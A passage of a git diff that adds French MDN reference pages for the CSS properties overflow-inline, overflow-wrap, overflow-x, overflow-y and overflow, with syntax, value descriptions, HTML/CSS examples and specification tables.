+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Propriété raccourcie, gestion de deux valeurs</td>
+   <td>{{CompatGeckoMobile("59")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette propriété est contrôlée grâce à la préférence <code>layout.css.overflow-clip-box.enabled</code> dont la valeur par défaut est <code>false</code>. Elle est uniquement activée au sein des feuilles de style de l'agent utilisateur pour le chrome. Pour plus d'informations, voir {{bug(966992)}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}},</li>
+ <li>{{cssxref("white-space")}},</li>
+ <li>{{cssxref("overflow")}},</li>
+ <li>{{cssxref("overflow-x")}},</li>
+ <li>{{cssxref("overflow-y")}},</li>
+ <li>{{cssxref("clip")}},</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/css/overflow-inline/index.html b/files/fr/web/css/overflow-inline/index.html
new file mode 100644
index 0000000000..bbec96456f
--- /dev/null
+++ b/files/fr/web/css/overflow-inline/index.html
@@ -0,0 +1,140 @@
+---
+title: overflow-inline
+slug: Web/CSS/overflow-inline
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/overflow-inline
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overflow-inline</code></strong> est une propriété logique qui définit ce qu'il faut afficher quand le contenu dépasse d'une boîte sur les bords en ligne (ceux parallèles au sens d'écriture). On peut choisir d'afficher rien, une barre de défilement ou de laisser le contenu dépasser.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>overflow-inline</code> correspond à {{cssxref("overflow-y")}} ou {{cssxref("overflow-x")}} selon le mode d'écriture du document.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-inline: visible;
+overflow-inline: hidden;
+overflow-inline: scroll;
+overflow-inline: auto;
+
+/* Valeurs globales */
+overflow-inline: inherit;
+overflow-inline: initial;
+overflow-inline: unset;
+</pre>
+
+<p>La propriété <code>overflow-inline</code> se définit avec un mot-clé parmi ceux de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Le contenu n'est pas rogné et peut être affiché en dehors des limites en ligne de la boîte.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Le contenu qui dépasse est masqué afin de ne pas dépasser dans l'axe en ligne. Aucune barre de défilement n'est affichée.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu est rogné si nécessaire selon l'axe en ligne pour tenir dans la boîte (de remplissage). Les navigateurs affichent des barres de défilement que le contenu soit rogné ou non (on évite ainsi d'avoir des barres qui apparaissent/disparaissent lorsque le contenu change). Les imprimantes peuvent imprimer le contenu qui dépasse.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le comportement de cette valeur dépend de l'agent utilisateur. Si le contenu tient dans la boîte de remplissage, elle se comportera comme <code>visible</code> mais établira un nouveau contexte de formatage. Les navigateurs de bureau affichent des barres de défilement si le contenu dépasse.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-inline:hidden&lt;/code&gt; — masque le texte en dehors
+  &lt;div id="div1"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-inline:scroll&lt;/code&gt; — ajoute une barre de défilement
+  &lt;div id="div2"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-inline:visible&lt;/code&gt; — affiche le texte en dehors si besoin
+  &lt;div id="div3"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-inline:auto&lt;/code&gt; — pour la plupart des navigateurs, équivalent à &lt;code&gt;scroll&lt;/code&gt;
+  &lt;div id="div4"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1,
+#div2,
+#div3,
+#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 { overflow-inline: hidden;}
+#div2 { overflow-inline: scroll;}
+#div3 { overflow-inline: visible;}
+#div4 { overflow-inline: auto;}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Exemples", "100%", "270")}}</p>
+</figure>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow-inline', 'overflow-inline')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overflow-inline")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>Propriétés CSS associées : {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{cssxref("overflow")}}, {{cssxref("overflow-block")}}, {{cssxref("overflow-x")}}, {{cssxref("overflow-y")}}, {{cssxref("clip")}}, {{cssxref("display")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties">Les propriétés logiques en CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Writing_Modes">Les modes d'écriture</a></li>
+</ul>
diff --git a/files/fr/web/css/overflow-wrap/index.html b/files/fr/web/css/overflow-wrap/index.html
new file mode 100644
index 0000000000..6cde7358d5
--- /dev/null
+++ b/files/fr/web/css/overflow-wrap/index.html
@@ -0,0 +1,153 @@
+---
+title: overflow-wrap
+slug: Web/CSS/overflow-wrap
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overflow-wrap
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>overflow-wrap</code></strong> s'applique aux éléments en ligne (<em>inline</em>) et est utilisée afin de définir si le navigateur peut ou non faire la césure à l'intérieur d'un mot pour éviter le dépassement d'une chaîne qui serait trop longue afin qu'elle ne dépasse pas de la boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence de {{cssxref("word-break")}}, <code>overflow-wrap</code> créera uniquement un saut de ligne si un mot entier ne peut pas être placé sur sa propre ligne sans dépasser.</p>
+</div>
+
+<p>À l'origine, cette propriété était une extension non-standard sans préfixe de Microsoft et intitulée <code>word-wrap</code>. Implémentée sous ce nom par la plupart des navigateurs depuis, elle a été renommée en <code>overflow-wrap</code> et <code>word-wrap</code> est devenu un alias.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+overflow-wrap: anywhere;
+
+/* Valeurs globales */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+</pre>
+
+<p>La propriété <code>overflow-wrap</code> peut être définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Indique que la césure d'une ligne ne peut avoir lieu qu'aux positions de césures normales.</dd>
+ <dt><code>anywhere</code></dt>
+ <dd>Indique que la césure pourra avoir lieu afin d'éviter le dépassement, y compris s'il n'y a pas de point de césure acceptable sur la ligne. Cela est notamment utile pour éviter le dépassement et qu'on a une longue ligne (un long mot ou une URL). Aucun caractère ne sera ajouté au point de césure. Les possibilités de rupture douces ajoutées par la césure sont prises en compte lors du calcul des tailles <code>min-content</code> intrinsèques.</dd>
+ <dt><code>break-word</code></dt>
+ <dd>Indique que les mots qui ne subissent habituellement pas de césure peuvent être scindés à n'importe quelle position s'il n'y a pas d'autres positions envisageables pour la césure de la ligne. Les possibilités de rupture douces ajoutées par la césure <strong>ne sont pas</strong> prises en compte lors du calcul des tailles <code>min-content</code> intrinsèques.</dd>
+ <dt>
+ <h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+ <pre class="syntaxbox">{{csssyntax}}</pre>
+ </dt>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 13em;
+  margin: 2px;
+  background: gold;
+}
+
+.ow-anywhere {
+  overflow-wrap: anywhere;
+}
+
+.ow-break-word {
+  overflow-wrap: break-word;
+}
+
+.word-break {
+  word-break: break-all;
+}
+
+.hyphens {
+<code>  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+</code>  hyphens: auto;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h3&gt;&lt;code&gt;normal&lt;/code&gt;&lt;/h3&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="normal"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself.&lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;overflow-wrap: anywhere&lt;/code&gt;&lt;/h3&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="ow-anywhere"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself.&lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;overflow-wrap: break-word&lt;/code&gt;&lt;/h3&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="ow-break-word"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. &lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;word-break: break-all&lt;/code&gt;&lt;/h3&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="word-break"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself.&lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;hyphens: auto&lt;/code&gt;, without &lt;code&gt;lang&lt;/code&gt; attribute&lt;/h3&gt;
+&lt;p class="hyphens"&gt;They say the fishing is excellent at
+  Lake &lt;em&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;
+  though I've never been there myself. &lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;hyphens: auto&lt;/code&gt;, English rules&lt;/h3&gt;
+&lt;p class="hyphens" lang="en"&gt;They say the fishing is excellent at
+  Lake &lt;em&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself.&lt;/p&gt;
+&lt;h3&gt;&lt;code&gt;hyphens: auto&lt;/code&gt;, German rules&lt;/h3&gt;
+&lt;p class="hyphens" lang="de"&gt;They say the fishing is excellent at
+  Lake &lt;em&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", '100%', 520)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.overflow-wrap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("text-overflow")}}</li>
+</ul>
diff --git a/files/fr/web/css/overflow-x/index.html b/files/fr/web/css/overflow-x/index.html
new file mode 100644
index 0000000000..ace75a305c
--- /dev/null
+++ b/files/fr/web/css/overflow-x/index.html
@@ -0,0 +1,153 @@
+---
+title: overflow-x
+slug: Web/CSS/overflow-x
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overflow-x
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>overflow-x</code></strong> permet de définir les mécanismes à utiliser (rognage, ascenseurs, dépassement, etc.) lorsque le contenu dépasse des bords droit et gauche de la boîte de contenu.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si {{cssxref("overflow-y")}} vaut <code>hidden</code>, <code>scroll</code> ou <code>auto</code> et que cette propriété vaut <code>visible</code> (la valeur par défaut), sa valeur calculée sera implicitement <code>auto</code>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow-x.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-x: visible;
+overflow-x: hidden;
+overflow-x: scroll;
+overflow-x: auto;
+
+/* Valeurs globales */
+overflow-x: inherit;
+overflow-x: initial;
+overflow-x: unset;
+</pre>
+
+<p>La propriété <code>overflow-x</code> est définie avec l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Le contenu n'est pas rogné. Il peut être affiché en dehors de la boîte de remplissage (<em>padding</em>) à droite et à gauche malgré le manque d'espace.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Le contenu est rogné afin de tenir horizontalement dans la boîte de remplissage (<em>padding</em>) et aucun ascenseur horizontal n'est affiché.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu est rogné afin de tenir horizontalement dans la boîte de remplissage et le navigateur affiche des barres de défilement (ascenseurs) dans tous les cas. Cela permet d'éviter d'avoir des barres qui apparaissent / disparaissent dans un environnement dynamique. Les imprimantes peuvent imprimer le contenu qui dépasse.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le comportement dépend de l'agent utilisateur. Les navigateurs de bureau comme Firefox peuvent afficher des barres de défilement si le contenu dépasse.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-x:hidden&lt;/code&gt; — cache le texte en dehors de la boîte
+    &lt;div id="div1"&gt;
+      ABCDEFGHIJKLMOPQRSTUVWXYZABCDEFGHIJKLMOPQRSTUVWXYZ
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-x:scroll&lt;/code&gt; — ajoute toujours un ascenseur
+    &lt;div id="div2"&gt;
+      ABCDEFGHIJKLMOPQRSTUVWXYZABCDEFGHIJKLMOPQRSTUVWXYZ
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-x:visible&lt;/code&gt; — affiche le texte en dehors de la boîte si besoin
+    &lt;div id="div3"&gt;
+      ABCDEFGHIJKLMOPQRSTUVWXYZABCDEFGHIJKLMOPQRSTUVWXYZ
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-x:auto&lt;/code&gt; — sur la plupart des navigateurs, cela sera équivalent à &lt;code&gt;scroll&lt;/code&gt;
+    &lt;div id="div4"&gt;
+      ABCDEFGHIJKLMOPQRSTUVWXYZABCDEFGHIJKLMOPQRSTUVWXYZ
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1, #div2, #div3, #div4 {
+  border: 1px solid black;
+  width:  250px;
+  margin-bottom: 12px;
+}
+
+#div1 {
+  overflow-x: hidden;
+}
+
+#div2 {
+  overflow-x: scroll;
+}
+
+#div3 {
+  overflow-x: visible;
+}
+
+#div4 {
+  overflow-x: auto;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Exemples", "100%", "270")}}</p>
+</figure>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow-x', 'overflow-x')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.overflow-x")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}},</li>
+ <li>{{cssxref("white-space")}},</li>
+ <li>{{cssxref("overflow")}},</li>
+ <li>{{cssxref("overflow-y")}},</li>
+ <li>{{cssxref("clip")}},</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/css/overflow-y/index.html b/files/fr/web/css/overflow-y/index.html
new file mode 100644
index 0000000000..254e6ceafe
--- /dev/null
+++ b/files/fr/web/css/overflow-y/index.html
@@ -0,0 +1,158 @@
+---
+title: overflow-y
+slug: Web/CSS/overflow-y
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overflow-y
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>overflow-y</code></strong> permet de définir les mécanismes à utiliser (rognage, ascenseurs, dépassement, etc.) lorsque le contenu dépasse des bords haut et bas de la boîte.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si {{cssxref("overflow-x")}} vaut <code>hidden</code>, <code>scroll</code> ou <code>auto</code> et que cette propriété vaut <code>visible</code> (la valeur par défaut), la valeur calculée sera implicitement <code>auto</code>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow-y.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs avec un mot-clé */
+overflow-y: visible;
+overflow-y: hidden;
+overflow-y: scroll;
+overflow-y: auto;
+
+/* Valeurs globales */
+overflow-y: inherit;
+overflow-y: initial;
+overflow-y: unset;
+</pre>
+
+<p>La propriété <code>overflow-y</code> est définie avec un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Le contenu n'est pas rogné. Il peut être affiché en dehors de la boîte de remplissage (<em>padding</em>) en haut et en bas malgré le manque d'espace.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Le contenu est rogné afin de tenir verticalement dans la boîte de remplissage (<em>padding</em>) et aucun ascenseur vertical n'est affiché.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu est rogné afin de tenir verticalement au sein de la boîte de remplissage (<em>padding</em>) et le navigateur affiche des barres de défilement (ascenseurs) dans tous les cas. Cela permet d'éviter d'avoir des barres qui apparaissent / disparaissent dans un environnement dynamique. Les imprimantes peuvent imprimer le contenu qui dépasse.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le comportement dépend de l'agent utilisateur. Les navigateurs de bureau comme Firefox peuvent afficher des barres de défilement si le contenu dépasse.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-y:hidden&lt;/code&gt; — cache le texte en dehors de la boîte
+  &lt;div id="div1"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:scroll&lt;/code&gt; — ajoute toujours un ascenseur
+  &lt;div id="div2"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:visible&lt;/code&gt; — affiche le texte en dehors de la boîte si besoin
+  &lt;div id="div3"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-y:auto&lt;/code&gt; — sur la plupart des navigateurs, cela sera équivalent à &lt;code&gt;scroll&lt;/code&gt;
+  &lt;div id="div4"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1, #div2, #div3,#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 {
+  overflow-y: hidden;
+  margin-bottom: 12px;
+}
+
+#div2 {
+  overflow-y: scroll;
+  margin-bottom: 12px;
+}
+
+#div3 {
+  overflow-y: visible;
+  margin-bottom: 120px;
+}
+
+#div4 {
+  overflow-y: auto;
+  margin-bottom: 120px;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Exemples", "100%", "780")}}</p>
+</figure>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow-y', 'overflow-y')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.overflow-y")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("clip")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/css/overflow/index.html b/files/fr/web/css/overflow/index.html
new file mode 100644
index 0000000000..2361debd6c
--- /dev/null
+++ b/files/fr/web/css/overflow/index.html
@@ -0,0 +1,175 @@
+---
+title: overflow
+slug: Web/CSS/overflow
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/overflow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overflow</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui définit comment gérer le dépassement du contenu d'un élément dans son bloc. Elle définit les valeurs des propriétés {{cssxref("overflow-x")}} et {{cssxref("overflow-y")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Lorsqu'on utilise la propriété <code>overflow</code> avec une autre valeur que <code>visible</code> (la valeur par défaut), cela entraîne la création <a href="/fr/docs/Web/CSS/Block_formatting_context">d'un nouveau contexte de formatage de bloc</a>. Cette création est nécessaire d'un point de vue technique. Ceci est nécessaire techniquement puisque si un élément flottant traverse l'élément avec barres de défilement, cela forcera l'encapsulation du contenu de ce dernier autour de l'élément flottant. L'encapsulation devrait alors se produire après chaque défilement de la barre et mènerait à une expérience utilisateur dégradée</p>
+
+<p>Afin que la propriété <code>overflow</code> puisse avoir un effet, le conteneur de niveau de bloc doit avoir une hauteur limite (définie grâce à {{cssxref("height")}} ou {{cssxref("max-height")}}) ou avoir <code>white-space</code> avec la valeur <code>nowrap.</code></p>
+
+<div class="note">
+<p><strong>Note :</strong> Si on définit un axe avec <code>visible</code> (la valeur par défaut) et qu'on définit l'autre axe avec une valeur différente, alors la valeur du premier axe (<code>visible</code>) sera considérée comme <code>auto</code>.</p>
+</div>
+
+<div class="note">
